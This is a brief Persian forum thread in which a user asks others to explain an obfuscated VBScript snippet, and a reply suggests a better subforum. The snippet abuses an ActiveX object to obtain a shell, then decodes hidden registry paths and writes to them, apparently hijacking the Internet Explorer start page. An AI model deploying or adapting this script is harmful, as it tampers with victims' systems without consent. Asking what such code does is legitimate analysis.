تفسیر یک نمونه کد

[microsoftsat]

با سلام


دوستان اگر در تفسیر کد زیر بنده رو راهنمایی نمایند ممنون خواهم بود.




Function AxClip()
Set axclip_sub_ir = document.createElement("object")
axclip_sub_ir.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "
set jjhacker = axclip_sub_ir.createobject("wscript.shell","")
hr="09208307907008408706508206909207710509911411111511 11021160920731101161011141101011160320691201121081 11114101114092077097105110092083116097114116032080 097103101"
re1="07207506908909507607906706507609507706506707207307 8069"
re2="07207506908909506708508208206907808409508508306908 2"
For axclip = 1 To Len(hr) Step 3
hr2=hr2 & chr(mid(hr,axclip,3))
next
For axclip = 1 To Len(re1) Step 3
re1_b=re1_b & chr(mid(re1,axclip,3))
next
For axclip = 1 To Len(re2) Step 3
re2_b=re2_b & chr(mid(re2,axclip,3))
next
jjhacker.regwrite re1_b & hr2,axclip_name
jjhacker.regwrite re2_b & hr2,axclip_name
AxClip=SetTimeOut("axclip", (pars20*1), "VBScript")
MsgBox now()
end Function
AxClip




سربلند باشید.

[salehbagheri]

اگر شما اين كد در بخش VB6 يا طراحي صفحات وب، قسمت VBScript مطرح كنيد، زودتر به جواب ميرسيد!

[microsoftsat]

اگر شما اين كد در بخش VB6 يا طراحي صفحات وب، قسمت VBScript مطرح كنيد، زودتر به جواب ميرسيد!

ببخشید از کم اطلاعی بنده است.
لطفا شما این دسترسی رو اگه دارید منتقل نمایید. وگرنه باید دوباره موضوع رو مطرح کنم.

متشکرم.